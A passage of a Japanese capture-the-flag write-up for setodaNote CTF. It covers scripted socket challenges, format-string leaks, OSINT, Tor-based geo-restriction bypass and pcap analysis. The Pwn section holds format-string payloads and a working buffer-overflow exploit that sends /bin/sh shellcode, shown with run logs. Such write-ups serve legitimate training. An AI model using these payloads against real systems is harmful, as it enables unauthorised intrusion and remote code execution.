setodaNoteCTF Writeup [Programing]
Programing
ZZZIPPP
何重にも入れ子になったZIPファイルをわたされる。
スクリプトを作成するのが狙いと思われるが、
MACで解凍したら自動ですべて解凍されてしまったので、フラグが得られた。
echo_me
ncでつないでサーバと会話する問題
サーバから来た数値と同じ数値を回答するだけ
回数が多く、手作業ではつらいのでプログラムを組んで対応
$ nc 10.1.1.10 12020 ========== echo me: 36508326 ========== 36508326 Correct! ========== echo me: 22493224 ==========
以前、似たようなプログラムを書いたことがあったのですぐに終わると思われたが、
python3対応と、うまく動作しないことから長時間かかった
(サーバに送信する回答に余計な文字が入っており、2回目から正解しなくなっていた)
プログラムはぐちゃぐちゃだが、以下
#!/usr/bin/python import socket import datetime import re import time PORT=12020 IP='10.1.1.10' client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) client.connect((IP,PORT)) loop_count=0 answer='' while True: res=client.recv(1024) res = res.decode("utf-8") print(res) q_match = re.search(r'echo me',res) flag_match = re.search(r'flag',res) if q_match: print ('---Question_match---') q_str = res[q_match.start():-3] print ("q_str:={}!!!".format(q_str)) q_str2 = q_str.split(' ') print ("q_str2[2]={}!!!".format(q_str2[2])) answer = q_str2[2] print ("ans:" + answer.replace('=','')) answer = answer.replace('\r','') answer = answer.replace('\n','') answer = answer.replace('=','') answer = str(answer)+'\n' client.sendall(answer.encode("utf-8")) print ('send answer={}???'.format(answer)) #time.sleep(1) if flag_match: print ('flag_match') client.close() break time.sleep(0.1)
実行例
send answer=31056776 ??? Correct! ========== echo me: 44313160 ========== ---Question_match--- q_str:=echo me: 44313160 ========!!! q_str2[2]=44313160 ========!!! ans:44313160 send answer=44313160 ??? Correct! flag{xxxxx} flag_match
EZZZIPPP
何重にも入れ子になったZIPファイルをわたされる。
今回はパスワードつきであり、ファイルごとにパスワードが異なる。
そのため、MACで解凍したも自動ですべて解凍されない。
(pass.txtにパスワードが書いてある)
スクリプトを作成するのが狙いと思われる。
以下のようなスクリプトで全て解凍した。
# extract password zip import zipfile filenameOut = "/home/pi/work/passZIP_test" passStr = "lCfIpIq2Ka" cnt = 1000 for i in range(999): filenameIn = "/home/pi/work/passZIP_test/flag{}.zip".format(str(cnt)) path = "pass.txt" # password for zipfile with open(path) as f: for s_line in f: s_line = s_line.replace("\n","") print(s_line) passStr = s_line with zipfile.ZipFile(filenameIn) as pass_zip: pass_zip.extractall(filenameOut, pwd=passStr.encode("utf-8")) cnt -= 1
$ cat flag.txt flag{xxxxx}
deep_thought
計算した数値を返す問題
手作業ではつらいのでプログラムを組んで対応
$ nc 10.1.1.10 12010 [ Q1 ] 4 - 2 2 Correct! [ Q2 ] 2 + 3 5 Correct! [ Q3 ] 13 + 10
#!/usr/bin/python import socket import datetime import re import time PORT=12010 IP='10.1.1.10' client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) client.settimeout(1.0) client.connect((IP,PORT)) loop_count=0 answer='' while True: res_a = '' for i in range(2): # 繰り返してすべて受信 try: res = client.recv(1024) except Exception as e: # socket.timeout print(e) print(type(e)) #print("i:{} / res={}=".format( i, str(res)) ) print ("recv:"+str(i)) res_a += res.decode("utf-8") print("{}res_a={}=".format( i,str(res_a)) ) time.sleep(0.1) q_match = re.search(r' Q',res_a) flag_match = re.search(r'flag',res_a) if q_match: print ('---Question_match---') q_str = res_a[q_match.start():-1] print ("q_str:={}!!!".format(q_str)) q_str2 = q_str.split('\n') eva_str = q_str2[1] print ("q_str2[1]={}!!!".format(eva_str) ) answer = str(eval(eva_str)) #not secure!! answer = answer.replace('\r','') answer = answer.replace('\n','') answer = str(answer)+'\n' client.sendall(answer.encode("utf-8")) print ('send answer={}???'.format(answer)) #time.sleep(1) if flag_match: print ('flag_match') client.close() break time.sleep(0.1)
実行例
---Question_match--- q_str:= Q50 ] 2183 + 1347 Correct! [ Q50 ] 2183 + 1347!!! q_str2[1]=2183 + 1347!!! send answer=3530 ??? recv:0 0res_a=Correct! flag{xxxxx}
setodaNoteCTF Writeup [Pwn]
Pwn
tkys_let_die
$ nc 10.1.1.10 13020で接続し、 名前を聞いてくるプログラムを突破する問題
通常の値を入れた場合
You'll need permission to pass. What's your name? > aa Gate is close. Goodbay aa.
変な値を入れた場合
You'll need permission to pass. What's your name? > aaaa %x %x %x %x %x %x %x %x %x %x Gate is %x %x . Goodbay aaaa %x %x %x %x %x %x %x %x %x .
→Gateのステータスがおかしいので、効いている気がする
%xを短くしてみる
You'll need permission to pass. What's your name? > aaaa %x %x %x %x %x %x %x Gate is close. Goodbay aaaa %x %x %x %x %x %x %x.
だめそう
これなら?
You'll need permission to pass. What's your name? > aaaa %x %x %x %x %x %x %x %x Gate is %x. Goodbay aaaa %x %x %x %x %x %x %x %x.
ちょうどよさそう
1を指定してみる
You'll need permission to pass. What's your name? > aaaa %x %x %x %x %x %x %x 1 Gate is 1. Goodbay aaaa %x %x %x %x %x %x %x 1.
ダメもとでopenを指定してみる
You'll need permission to pass. What's your name? > aaaa %x %x %x %x %x %x %x open ============================= GREAT! GATE IS OPEN!! >> Flag is flag{xxxxx} << *-*-*-*-*-*-*-*-*-*-*-* =============================
1989
$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x56578060] >> flag is here << | Ready > 1 Your Inpur : 1
いつもの
Ready > aaaa %x %x %x %x %x %x %x %x %x %x Your Inpur : aaaa ff9f1c30 ff9f2038 5655b306 61616161 20782520 25207825 78252078 20782520 25207825 78252078
入力した「aaaa」が
4番目にメモリ上の値(61616161)として見える
CWE-134は書式文字列攻撃
はまりポイント
・フラグのアドレスは固定だと思って2回目以降をよく見ていなかったが、
変わっていた
・\x**表記ではうまくいかなかった
(アドレスがASCIIコードの範囲内の場合、できた)
・バックスラッシュと円記号の違い
手元では同じに見えた→\x
(バックスラッシュ) ¥x
(円記号)
| flag | [0x565de060] >> flag is here << | Ready > \x60\xe0\x5d\x56 %4$s →何も出ない(Segmentation Faultで終了?)
アドレスがASCIIコードの範囲内の場合
アドレス
→並び替え
→ASCIIコード
0x565c6060→60605c56→``\V
| flag | [0x565c6060] >> flag is here << | Ready > ``\V %4$s Your Inpur : ``\V flag{xxxxx}
アドレスがASCIIコードの範囲外(\x80を含むアドレス)の場合もあり、もっとやり方はないのか?
Pythonでプログラム書いて接続すれば行けそうな気がする
参考
書式指定文字列攻撃
https://kusano-k.hatenadiary.com/entry/20140302/1393781714
バイナリが手元にある場合はpythonを使い、以下のようにできるらしい
$ python -c 'print "\xfc\x97\x04\x08 %4$s"' | ./bug
Format String Exploitを試してみる
https://ptr-yudai.hatenablog.com/entry/2018/10/06/234120
"%x"などはスタック上にある値をそのまま出力するだけですが,"%s"はその値をポインタとして読んでくれます. そのため,スタック上に読みたいアドレスが置かれていれば,その引数の番号を"%n$s"のように指定することで データを読み出すことができます. もちろん読み出せないアドレスが指定されるとSegmentation Faultで終了します. printfに渡すバッファがローカル変数の場合,そのバッファ自体もスタック上に存在するので, "\xAA\xBB\xCC\xDD%n$s"のようなバイナリを送ることで任意のアドレスのデータを読み出すことも可能です
Shellcode
300
添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。 nc 10.1.1.10 13050 この設問では Linux ターミナルを使用します。 https://ctf.setodanote.net/webshell/
入力してみる
$ nc 10.1.1.10 13050 | target | [0x7ffe157fbc70] | Well. Ready for the shellcode? > 1
いつもの
Well. Ready for the shellcode? > aaaa %x %x %x %x %x %x %x %x %x %x aaaa %x %x %x %x %x %x %x %x %x %x
さすがに効かない
(解けていない)
(追記)
Writeup
https://github.com/satoki/ctf_writeups/tree/master/setodaNote_CTF/Shellcode
まだ読めていませんがリンクだけ
理解はまだですが、上記そのまま試したログです
user@c361011ad604:~$ vi a.py import re import sys import socket c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.connect(("10.1.1.10", 13050)) c.settimeout(1) leak = b"[0x000000000000] ;(" try: leak = c.recv(256) + c.recv(256) + c.recv(256) except: pass leak = "0000" + re.search("\[0x(.*)\]", leak.decode()).group(1) print(leak) payload = b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" payload += b"A"*(88-len(payload)) + bytes.fromhex(leak)[::-1] + b"\n" c.send(payload) print(payload) _ = c.recv(256) c.send(f"{sys.argv[1]};ls\n".encode()) print(c.recv(512).decode()) user@c361011ad604:~$ python3 a.py "ls /" 00007fff1c9755d0 b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0U\x97\x1c\xff\x7f\x00\x00\n' bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var user@c361011ad604:~$ python3 a.py "ls /home/user/" 00007ffe5a686850 b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPhhZ\xfe\x7f\x00\x00\n' flag shellcode user@c361011ad604:~$ python3 a.py "cat /home/user/flag" 00007ffc4313a5a0 b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa5\x13C\xfc\x7f\x00\x00\n' flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities} user@c361011ad604:~$ python3 a.py "cat /home/user/shellcode" 00007ffdeb742f70 b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp/t\xeb\xfd\x7f\x00\x00\n' Traceback (most recent call last): File "a.py", line 25, in <module> print(c.recv(512).decode()) UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 24: invalid start byte user@c361011ad604:~$
setodaNoteCTF Writeup [OSINT]
OSINT
tkys_with_love
「コールサイン C6DF6」でGoogle検索
https://idyllicocean.com/vdb/ship18_vsl_info.php?id=2975
Dorks
サイトの中で login.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。 Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字で フラグ形式にして答えてください。
inurl:login.phpで検索できます
filters_op
Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている 英字のハッシュタグをフラグ形式で答えてください。
Twitterにて期間指定して検索
@cas_nisc since:2017-5-15 until:2017-5-16
以下が該当のtweet
"【現在拡散中の #ランサムウェア ( #WannaCrypt )への対応方法】"をまとめました。
MAC
MACアドレスのベンダーコードを調べるだけ
00:03:93 Apple→A
00:01:A9 BMW→B
頭文字をとる
tkys_eys_only
画像のURLに緯度経度があるのでGoogleマップで調べるだけ
https://www.weather.gov/MapClick.php?lat=40.749444&lon=-73.968056
40.749444,-73.968056
flag{United_Nations_Headquarters}→ハズレ
flag{The_United_Nations_Headquarters}→ハズレ
flag{Headquarters_of_the_United_Nations}→ハズレ
flag{United_Nations_Secretariat_Building}→ハズレ
flag{German_Radio_Network}→ハズレ
→当たり。時間を無駄にした感。
MITRE
T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220} フラグに英字が含まれる場合はすべて大文字で答えてください。
MITREのTechniquesに関する問題
T****のIDを以下にて検索した
https://attack.mitre.org/techniques/T1220/
また、採番が変わったせいか、上記にて該当しない番号あり。以下にて検索した
https://www.attack-mitre-japan.com/techniques/enterprise/
問題文一行目のMITREのTechniquesのタイトルの頭文字をとると、「FLAG IS」になる
T1495 Firmware Corruption T1152 Launchctl T1155 AppleScript T1144 Gatekeeper Bypass T1130 Install Root Certificate T1518 Software Discovery
同様に検索する
T1170 Mshta T1118 InstallUtil T1099 Timestomping - Red Teaming Experiments T1496 Resource Hijacking T1212 Exploitation for Credential Access T1531 Account Access Removal T1080 Taint Shared Content T1127 Trusted Developer Utilities Proxy Execution T1020 Automated Exfiltration T1081 Credentials in Files T1208 Kerberoasting T1112 Modify Registry T1098 Account Manipulation T1199 Trusted Relationship T1159 Launch Agent T1183 Image File Execution Options Injection T1220 XSL Script Processing T1111 Two-Factor Authentication Interception T1147 Hidden Users T1220 XSL Script Processing
Ropeway
Google画像検索よりかんざんじロープウェイとわかる
https://www.kanzanji-ropeway.jp
N-th_prime
200
電車の中で誰かの会話が聞こえてきます。 「巨大な素数の秘密を知っているか兄者」 「知っているとも弟者。巨大な素数は秘密を守る要なのさ」 「兄者、1番目の素数は?」「2 だ」 「2番目の素数は?」「3 だ」 「数え上げて 72057594037927936 番目の素数は?」「・・・」 「兄者マテッ!ときに落ち着けって!」 数え上げて 72057594037927936 番目の素数をフラグ形式で答えてください。 例えば 11 だった場合は flag{11} と答えてください。
72057594037927936 番目の素数を答える問題
高速なプログラムがあった
https://ikatakos.com/pot/programming_algorithm/number_theory/prime_judge
各素数について次に見つかる倍数を保持
短時間で計算できるのは8桁番目の素数(871643389とか)ぐらいまで
30分程度では計算が終わらない
OSINTなので計算ではないか・・・
半日ぐらいで↓ぐらいまでしか計算できず
895562208番目の素数20316888131 895562209番目の素数20316888161 895562210番目の素数20316888191
List of prime numbers up to 1 000 000 000 000 (1000 billion)
http://compoasso.free.fr/primelistweb/page/prime/liste_online_en.php
1000000000000までならあった 72057594037927936 番目(2^56)の素数なので足りない
とても桁の大きな素数ならあるが何番目かはわからない
https://en.wikipedia.org/wiki/Largest_known_prime_number
(解けていない)
(追記)
primecountというプログラムでできるとのこと
$ git clone https://github.com/kimwalisch/primecount $ cd primecount $ cmake . -- The CXX compiler identification is GNU 7.5.0 : $ make -j Scanning dependencies of target libprimesieve-static [ 1%] Building CXX object lib/primesieve/CMakeFiles/libprimesieve-static.dir/src/api-c.cpp.o : $ ls -ltr : -rwxrwxr-x 1 bird bird 690784 Sep 10 11:45 primecount drwxrwxr-x 8 bird bird 4096 Sep 10 11:45 CMakeFiles
実行
$ ./primecount 72057594037927936 --nth-prime --threads=4 2991614170035124397
↑数秒とはいかなかったが、1分もかからなかった・・・
$ ./primecount 895562210 --nth-prime --threads=4 20316888191
↑別スクリプトで半日かかって出した素数。本スクリプトでは1秒もかからず
identify_the_source
250
組織はある攻撃者グループの動向を調査しています。 あなたは旧知の情報提供者からその攻撃者グループが攻撃に利用しようとしているというファイルを 入手することに成功しました。情報提供者はファイルの配布元URLの情報も持っているようですが、 そちらの情報を入手するためには高額な対価が必要となりそうです。 あなたが自由にできる予算は限られています。 巧みな話術でどうやらあるマルウェア解析サイトから取得した情報であるようだというところまでは 聞き出せました。 組織はあなたに配布元URLを特定し、攻撃を未然に防ぐとともに攻撃者グループに関する重要な情報が 含まれていないか調査するよう指示を出しました。 添付されたファイルを解析して関連する配布URLを特定、調査し、フラグを入手してください。
ファイルがわたされ、配布元(ソース)を探す問題
関係ないかもしれないが、VTにあげているひとがいた
(日時からしてたぶん参加者。特に情報はなさそう)
https://www.virustotal.com/gui/file/64f10be20a97f7d25fd23d48e563cc391c54882c97d1c232832ea6beb61ca1da/details
flagについての記載を削ったもの https://www.virustotal.com/gui/file/cae8bccc2939d6ac009b1d3c0c6191e99a2a0b14a3d771e5e6815b001f9b5f00/details
ほかにハッシュ検索とかあれば・・・
ハッシュ値でGoogle検索しても何も出ない
OSINTツール Mitaka でディグってみよう
https://ninoseki.github.io/2018/08/03/mitaka.html
上記ツールでハッシュを片っ端から調べる
Associated URLs
https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/tsuru
アクセスしてみる
<html> <head><title>404 Not Found</title></head> <body> <center><h1>404 Not Found</h1></center> <hr><center>nice try!</center> </body> </html>
何もない
トップページは
https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/
<!DOCTYPE HTML> <html> <head> <title>Good job</title> <meta charset="utf-8" /> <link rel="stylesheet" href="main.css" /> </head> <body> <p>NO DATA</p> <br /> <br /> <br /> <br /> :(長いので略) <p deleteTime="1626307200">The flag is no longer here.</p> </body> </html>
消されている
取得済みの魚拓 2021年7月22日 23:39 Good job 2021年7月21日 00:25 Good job 2021年7月20日 12:15 Good job 2021年7月20日 01:36 Good job 2021年7月20日 00:21 Good job 2021年7月19日 23:35 Now loading 2021年7月19日 19:20 Now loading 2021年7月18日 23:54 Now loading 2021年7月18日 16:53 Now loading 2021年7月18日 16:15 Now loading 2021年7月18日 11:20 Now loading 2021年7月18日 00:31 Now loading 2021年7月17日 15:48 Now loading 2021年7月17日 15:04 Now loading 2021年7月17日 08:35 Now loading 2021年7月16日 19:56 Now loading 2021年7月16日 12:25 Now loading 2021年7月15日 18:59 Now loading 2021年7月15日 18:00 Now loading ★消された後 2021年7月15日 01:15 Now loading 2021年7月15日 01:03 Now loading ★flagあり 2021年7月15日 00:51 Now loading ★flagあり 2021年7月15日 00:41 Now loading ★flagあり 2021年7月15日 00:30 Now loading 2021年7月15日 00:20 Now loading 2021年7月14日 21:46 bbb 2021年7月14日 12:30 fla_ 2021年7月14日 08:19 bbbb 2021年7月13日 15:09 bbbb 2021年7月13日 01:49 bbbb 2021年7月11日 13:40 bbbb 2021年7月11日 08:15 bbbb 2021年7月11日 00:34 bbbb 2021年7月10日 17:47 bbbb 2021年7月9日 22:07 aaa 2021年7月9日 20:35 aaa 2021年7月9日 00:46 aaa 2021年7月9日 00:44 取得エラーでした
大量に候補がある
deleteTime="1626307200"より、2021年7月15日 9:00 (JST)頃消されたと思われる
(UNIX TIMEの変換)
https://www.convert-unix-timestamp.com/unixtime/1626307200#.YSszJ477SFE
Unix Timestamp: 1626307200 Thursday, July 15. 2021, 12:00:00 AM UTC
それより前を片っ端から見る
https://megalodon.jp/2021-0715-0103-05/https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net:443/
フラグがあった
secret_operation
ブラウザのキャプチャのような画像を渡される
ページの一部情報にマスクがかけられているが、
URLはわかる
画像のURLにアクセス
https://green-pond-97ff.setodanote.net/
Your info Country: JP
とかが表示される。画像とは異なるページに見える
マスクされていた情報自体が表示されていない
接続元の国によって異なるページを表示させている?
sudo apt install torbrowser-launcher
接続元を設定
$ locate torrc /etc/tor/torrc /home/user/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc
以下を記載
$vi /home/user/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc
ExitNodes {ru} StrictNodes 1
上記だけであらためてアクセスしたが、
「Country: T1」となってしまった
Torの出口ノードだとなるらしい?
接続しなおしてもダメ
https://iplocation.com/だとロシアになっていた
関係は分からないが、以下で「Country: RU」とできた
(経路が変わってTorの出口ノードがかわったのかもしれない)
入口ノードもtorrcへ追加
EntryNodes {ca} StrictNodes 1
Torブラウザーの設定(GUI)で
Tor Settings
「Bridges」
→Use a bridgeを選択
→Select a built-in bridge 「obfs4」を選択
あらためてアクセス
Information Display The time is always right to do what is right. @aarron142857 Your info City: undefined Region: undefined Country: RU Timezone: Europe/Moscow Молодец против овец, а против молодца и сам овца. Link
今度は画像と同じページのようだ
Twitterへのリンクがある
https://twitter.com/aarron142857
「Link」には以下へのリンクがあり、アクセスするとBASIC認証が出る
https://billowing-poetry-3254.setodanote.net
Twitterにて@aarron142857が「いいね」しているツイートにヒントがあった
https://twitter.com/David3141593/status/1371974874856587268
@aarron142857のツイートしているPNG画像に↑と同じものがある
Twitterに「画像に見せかけてZIPファイルを投稿する方法」
https://gigazine.net/news/20210319-twitter-zip-png-upload/
上記を参考に「Twitter Image Downloader」を使って、
Twitterの画像を原寸大でダウンロード
画像の拡張子をZIPにして、7zipにて解凍
解凍してでてきたPNGより、以下の情報がわかる
USER: << CHECK MY BIOI >> Password: right_next_to_you
認証情報は@aarron142857のTwitterのプロフィールより、以下
J.S right_next_to_you
あらためて、以下へアクセスしてBASIC認証を通ると
https://billowing-poetry-3254.setodanote.net
Classified information Operation [-- CENSORED --] ... Вы ведь не из моей страны?
↓翻訳
... あなたは私の国の人ではないですよね?
ここも接続元の国をみているっぽい
Torブラウザーにて接続
Classified information Operation flag{=xxxxxx=} The operation is already in the execution phase. All information will be erased.
フラグが見えた
setodaNoteCTF Writeup [Network]
Network
Host
wireshakでpcapファイルを開き、HTTP通信を見る
GET / HTTP/1.1 Host: ctf.setodanote.net
tkys_never_die
wireshakでpcapファイルを開く
ファイル→オブジェクトをエクスポート→HTTP
PNGファイルができる
echo_request
wireshakでpcapファイルを開く
icmpでフィルタをかける
ICMP Dataが不自然な部分が続いているので連続で見ていく
From Hexで戻すとフラグがでてくる
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=MmU2NjZjNjE2NzdiNDk0MzRkNTA1ZjU0NzU2ZTZlNjU2YzY5NmU2NzVmNTQzMTMwMzkzNTdkMmUyZQ
2e2e666c61677b49434d505f54756e6e656c696e675f54313039357d2e2e
stay_in_touch
あなたはある事件の調査としてある人物の通信を監視しています。 どうやら誰かと連絡を取り合っているようです。 通信データファイルを解析し、やりとりの内容を明らかにしてください。 添付されたファイルを解析し、フラグを入手してください。
wireshakでpcapファイルを開く
ファイル→オブジェクトをエクスポート→IMF
メールファイルができあがる
→有益な情報が見つからない
上記をテキストとしてみていたところ、
「Content-Type: multipart/mixed;」のメールがあったが、その下が出ていない
結局、wireshakで「オブジェクトをエクスポート」でエクスポートしたファイルでは不十分であった
再度、wireshakでpcapファイルを開く
wireshakの検索で、「Content-Type: multipart/mixed;」のメールを探す(パケット詳細を文字列検索)
追跡→TCPストリームでみる
データ表示をUTF-8形式とする
tcp.stream eq 12抜粋
Content-Type: multipart/mixed; ★何かありそう boundary="------------E3A9083942D9027C4375FEE4" Content-Language: en-US This is a multi-part message in MIME format. --------------E3A9083942D9027C4375FEE4 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: 8bit アカリ課長補佐 あ、試作機のレポートが 届いておりましたので転送しておきます。 なかなかの性能のようです。 パスワードは別にお送りします。 ~(略)~ > > いい訳ないじゃないの > --------------E3A9083942D9027C4375FEE4 Content-Type: application/x-zip-compressed; name="Report-AV-T0097.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Report-AV-T0097.zip" UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6 s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hR UgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAg AAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB 0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA --------------E3A9083942D9027C4375FEE4--
上記(UEsDBBQAAQAAAD~AewAAAAAA)をBase64デコードして
ZIPファイルとして保存(サイバーシェフ使用)
解凍しようとするとメールの通り、パスワードがかかっていた
tcp.stream eq 12より後ろのメールを見てみる
tcp.stream eq 14抜粋
アカリ課長補佐 お疲れ様です。 セトダです。 先ほどのファイルのパスワードです。 Yatagarasu-Takama-Kamuyamato2
ZIPを解凍
This is Flag. flag{xxxxx}
yes_you_can
150
精密機械の技術者である古い友人から一通の封筒が送られてきました。 中にはあなたに解析してほしいと震えた筆跡で書かれた手紙と1枚の SD カード。 SD カードの中には1つのファイルが記録されていました。 添付されたファイルを解析してフラグを入手してください。
dump.logがわたされる
(1628245600.155918) vcan0 095#800007F400000017 (1628245600.157006) vcan0 1A4#000000080000003E (1628245600.157018) vcan0 1AA#7FFF00000000673F (1628245600.157020) vcan0 1B0#000F0000000175 (1628245600.157023) vcan0 1D0#000000000000000A :
candumpというツールのログっぽい??
94667行もある・・・
(解けていない)
Digdig
200
組織内の通信を監視している部署からマルウェア感染した端末から 他にはない不審な通信が発生していたことが分かり、急ぎ解析してほしいを依頼がありました。 どうやら、通信自体は組織内で許可されているプロトコルが使用されていたため外部に 通信できた可能性もあり焦っているようです。 添付されたファイルを解析し、フラグを入手してください。
大量にあるサブドメインに何かありそう
サブドメインをサイバーシェフ「From Hex」で戻すと意味のある文字列になる
setodanotenetÀ#### 00500000LFI2358AA33 .P..ò5.£. 005aa002735f69735f44414d .Z .s_is_DAM 005aa00663655f7472795f53 .Z .ce_try_S 005aa0034d595f464c41477d .Z .MY_FLAG} ↑ダミーフラグ? 005aa0085f746861747d2066 .Z ._that} f 005aa00a6c61677b444e535f .Z lag{DNS_ 005aa00b5333637572313779 .Z .S3cur17y 005aa0076f7272795f666f72 .Z .orry_for 005aa00420666c6167206973 .Z . flag is 005aa0096c61672069732066 .Z lag is f 005aa00c5f5431303731217d .Z ._T1071!} 005aa011797d323232323232 .Z .y}222222 005aa00d20666c6167206973 .Z flag is 005aa00f335f6b33795f3135 .Z .3_k3y_15 005aa00e20666c61677b3768 .Z . flag{7h 005aa001666c61677b546869 .Z .flag{Thi 005aa0105f35336375723137 .Z ._53cur17 005aa000666c616720697320 .Z .flag is 005aa00520666c61677b4e69 .Z . flag{Ni
量が多すぎるし、フラグっぽい文字列も多く、フラグがわからない
左端は文字列にならないが、順序などを示す領域なのでは?
「005aa」は共通なので削除して、その右3桁で並べ替えてみる
000666c616720697320 flag is 001666c61677b546869 flag{Thi 002735f69735f44414d s_is_DAM 0034d595f464c41477d MY_FLAG} ↑ダミーフラグ 00420666c6167206973 flag is 00520666c61677b4e69 flag{Ni 00663655f7472795f53 ce_try_S 0076f7272795f666f72 orry_for 0085f746861747d2066 _that} f 0096c61672069732066 lag is f 00a6c61677b444e535f lag{DNS_ 00b5333637572313779 S3cur17y 00c5f5431303731217d _T1071!} 00d20666c6167206973 flag is 00f335f6b33795f3135 3_k3y_15 00e20666c61677b3768 flag{7h 0105f35336375723137 _53cur17 011797d323232323232 y}222222
手作業できつかったので、次はプログラム組むなどで対処したい・・・
pythonのdpktモジュールでpcapファイル解析できるらしい
pysharkというのでも読み込めるようだ
Logger
250
夕暮れ時、あなたの携帯が鳴動します。相手の番号は不明。 非通知は拒否設定のはずと不思議に思いつつ電話に出ると「お前の秘密を知っている」 と低い男の声が聞こえすぐに切れてしまいました。 直後、あなたの携帯にファイルが添付された空白のメールが届きます。 添付されたファイルを解析してフラグを入手してください。
Wiresharkで開くと「Protocol USB」となっている
Leftover Capture Data: 0000080000000000
Leftover Capture Data: 0000150000000000
Leftover Capture Data: 0000000000000000
の特定箇所のみが変わっている
ここにフラグがある?
戻し方がわからないのと、1100パケットもあり、手動ではきつそう
protocol USBで検索してみる
USBキーボードの入力をキャプチャしたPCAPのようだ
https://note.com/kanzarashi/n/nb2dfd54f15b8
I_input_the_flag_1 (network:200)
の箇所が参考になった
http://www.mindrunway.ru/IgorPlHex/USBKeyScan.pdf
こちらがUSBキーボードの番号対応表
本問題のキャプチャの該当箇所を手作業で順番に戻してみると
ONE POPULAR BUT
となり、方針はあっていそう
CTF終了まで残り1時間を切っていたため、自力でスクリプトを書く時間がない。
検索したところ、以下サイトが参考になった。
Decoding Mixed Case USB Keystrokes from PCAP
https://blog.stayontarget.org/2019/03/decoding-mixed-case-usb-keystrokes-from.html
tsharkコマンドでキャプチャを読み出しできる
$ tshark -r logger.pcap 1 0.000000 2.1.1 → host USB 35 URB_INTERRUPT in 2 0.000073 host → 2.1.1 USB 27 URB_INTERRUPT in 3 0.143912 2.1.1 → host USB 35 URB_INTERRUPT in :
以下のようにするとキャプチャから必要な部分を取り出しできる
$ tshark -r logger.pcap -T fields -e usb.capdata | tr -d : 0200000000000000 0200120000000000 0200000000000000 :
キャプチャから必要な部分を取り出し、ファイルへ保存
$ tshark -r logger.pcap -T fields -e usb.capdata | tr -d : > output_usb.txt
サクラエディタで改行のみの行を削除
$ vi decode_usb.py 以下のスクリプトを作成
#!/usr/bin/python # coding: utf-8 from __future__ import print_function import sys,os #declare -A lcasekey lcasekey = {} #declare -A ucasekey ucasekey = {} #associate USB HID scan codes with keys #ex: key 4 can be both "a" and "A", depending on if SHIFT is held down lcasekey[4]="a"; ucasekey[4]="A" lcasekey[5]="b"; ucasekey[5]="B" lcasekey[6]="c"; ucasekey[6]="C" lcasekey[7]="d"; ucasekey[7]="D" lcasekey[8]="e"; ucasekey[8]="E" lcasekey[9]="f"; ucasekey[9]="F" lcasekey[10]="g"; ucasekey[10]="G" lcasekey[11]="h"; ucasekey[11]="H" lcasekey[12]="i"; ucasekey[12]="I" lcasekey[13]="j"; ucasekey[13]="J" lcasekey[14]="k"; ucasekey[14]="K" lcasekey[15]="l"; ucasekey[15]="L" lcasekey[16]="m"; ucasekey[16]="M" lcasekey[17]="n"; ucasekey[17]="N" lcasekey[18]="o"; ucasekey[18]="O" lcasekey[19]="p"; ucasekey[19]="P" lcasekey[20]="q"; ucasekey[20]="Q" lcasekey[21]="r"; ucasekey[21]="R" lcasekey[22]="s"; ucasekey[22]="S" lcasekey[23]="t"; ucasekey[23]="T" lcasekey[24]="u"; ucasekey[24]="U" lcasekey[25]="v"; ucasekey[25]="V" 